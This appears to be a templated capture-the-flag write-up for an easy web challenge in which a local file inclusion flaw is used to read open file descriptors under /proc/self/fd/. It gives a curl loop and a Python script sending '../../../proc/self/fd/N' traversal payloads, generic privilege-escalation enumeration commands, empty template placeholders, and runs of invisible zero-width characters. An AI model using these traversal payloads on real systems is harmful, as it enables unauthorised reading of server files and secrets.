Docker3

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2019-11-10 | Status: Solved Techniques: fd_enumeration, lfi_proc_fd

Summary

LFI challenge in a Docker container. Need to exploit Local File Inclusion vulnerability to obtain the flag through file descriptors.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: web-kids20 | ID: 20191110_web_kids20_websrv1_docker3
• Tags: docker, lfi, proc_filesystem, file_descriptors
• Indicators: LFI vulnerability present, Docker container environment, /proc/self/fd/ accessible, open file handles contain secrets
• Source: 20191110_web_kids20_websrv1_docker3.md

Foothold

Vulnerability / Misconfiguration

1. fd_enumeration
2. lfi_proc_fd

 bash read-only • copy allowed Copy
<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed Copy
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

 bash read-only • copy allowed Copy
<command>

Flags

Key Takeaways / Lessons

• fd_enumeration
• lfi_proc_fd
• Tags: docker, lfi, proc_filesystem, file_descriptors

Original Writeup

<details><summary>Click to expand original content</summary>

Description

LFI challenge in a Docker container. Need to exploit Local File Inclusion vulnerability to obtain the flag through file descriptors.

Analysis

An LFI vulnerability was found in the web application. The /proc/self/fd/ directory contains symbolic links to all open file descriptors of the current process. If the process keeps a file with secret data open, it can be read through the corresponding fd.

Solution

1. LFI vulnerability discovered in a parameter
2. Enumeration of file descriptors in /proc/self/fd/: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 bash read-only • copy allowed Copy
# Enumerate fd from 0 to 20
for i in $(seq 0 20); do
    echo "=== FD $i ==="
    curl "https://2019-11-10-docker3.ctf.su/?file=../../../proc/self/fd/$i" 2>/dev/null
done

1. Standard file descriptors:

   • fd/0 - stdin
   • fd/1 - stdout
   • fd/2 - stderr
   • fd/3+ - open files, sockets, etc.

2. The flag was found in one of the file descriptors.

Python script for automation:

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests

url = "https://2019-11-10-docker3.ctf.su/"

for fd in range(0, 30):
    try:
        r = requests.get(url, params={"file": f"../../../proc/self/fd/{fd}"}, timeout=5)
        if "spbctf" in r.text or len(r.text) > 0:
            print(f"FD {fd}: {r.text[:200]}")
    except:
        pass

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

signed by XESXOR